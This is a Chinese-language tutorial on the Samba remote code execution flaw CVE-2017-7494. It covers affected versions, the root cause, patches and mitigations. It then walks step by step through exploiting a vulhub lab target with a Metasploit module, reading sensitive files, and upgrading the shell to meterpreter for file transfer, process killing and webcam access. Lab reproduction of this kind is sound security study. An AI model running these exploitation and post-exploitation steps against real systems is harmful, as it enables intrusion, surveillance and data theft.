CVE-2017-7494 是一个影响 Samba 服务的高危远程代码执行漏洞,也被称为 "Linux 版永恒之蓝"。
一、漏洞介绍
基本信息
影响版本
该漏洞影响 Samba 3.5.0 及之后的所有版本,直到以下修复版本:
Samba 4.6.4 之前的 4.6.x 版本
Samba 4.5.10 之前的 4.5.x 版本
Samba 4.4.14 之前的 4.4.x 版本
漏洞原理
漏洞存在于 source3/rpc_server/srv_pipe.c 文件中的 is_known_pipename() 函数
命名管道验证缺陷:Samba 允许客户端连接远程命名管道,连接前会调用
is_known_pipename()验证管道名称路径遍历问题:该函数未对管道名称中的特殊字符(如
/)进行过滤恶意模块加载:攻击者可以构造包含路径的管道名称,使 Samba 从任意路径加载动态链接库(.so 文件)
利用条件
要成功利用此漏洞,需要满足以下条件
端口开放:目标系统开放 SMB 文件/打印机共享端口 445
写入权限:攻击者对共享文件夹拥有写入权限(如匿名可写配置)
路径知晓:攻击者需要知道共享目录的物理路径
修复方案
1. 升级 Samba(推荐)
升级到安全版本:
4.6.4 或更高版本
4.5.10 或更高版本
4.4.14 或更高版本
2. 临时缓解措施
禁用命名管道支持:
在 smb.conf 中添加:
nt pipe support = no启用 SELinux:配置 SELinux 阻止从非标准目录加载模块
使用 noexec 挂载:对 Samba 共享目录使用
noexec选项挂载,阻止执行上传的文件限制访问:通过防火墙限制 445 端口的访问,禁止匿名写入权限
二、完整复现
1.准备工作
攻击机:192.168.68.128(kalilinux)
目标靶机:192.168.68.134(ubuntu+docker)
来源:https://github.com/vulhub/vulhub/blob/master/samba/CVE-2017-7494
布置靶场:
先在ubuntu上进入把上面链接中的CVE-2017-7494文件夹下载到ubuntu,然后进入CVE-2017-7494文件夹中,执行
sudo docker-compose up -d2.msf复现
1.启动msf,kali终端输入 : msfconsole
2.search
search cve-2017-7494
3.使用模块
use exploit/linux/samba/is_known_pipename4.查看需要设置什么参数
show options
可以看到我们只需要设置rhosts (目标靶机的ip)和rport,rport已经给我们设置好了,所以我们就只设置rhost即可
5.配置参数
set RHOSTS 192.168.68.1346.运行
执行 run 看到session opened代表我们已经成功和目标靶机建立连接,session后面的数字是我们当前的会话id

这里我们就可以执行命令了,可以看到我执行了id和查看敏感文件的命令
三、拓展
相信大家也发现了,这次是直接就进入了目标靶机的shell,而不是meterpreter,这是由于当我们执行
use exploit/linux/samba/is_known_pipename的时候,它显示我们没有指定payload,所以默认使用了cmd/unix/interact这个payload,这个漏洞模块不支持reverse_tcp的payload,我们可以查看当前漏洞模块支持哪些payload
show payloads
显示只支持这个payload,不过这并不代表我们不能切换成meterpreter
shell-->meterpreter
在我们执行run,使用cmd/unix/interact把基础的shell建立之后
1.把当前基础 shell 挂到后台
按下ctrl+Z,然后问我们是否把当前会话挂后台默认是no,我们按y(yes)
2.查看当前会话数
这里我第一个基础shell运行了好几下,只要其中一个就可以,我使用id为7的session
sessions3.加载模块
use post/multi/manage/shell_to_meterpreter4.查看需要配置的
show options5.设置参数
set LPORT 9999
set SESSION 7这里handler已经默认启用,我们可以不用在设置里,lport不要和其他端口冲突,session后面是我们第一个基础shell的session的id
6.运行
输入 run 即可发现已经是meterpreter了

接下来我们就可以使用meterpreter的命令来上传下载文件,创建文件夹,停止系统的进程,打开摄像头等进阶操作了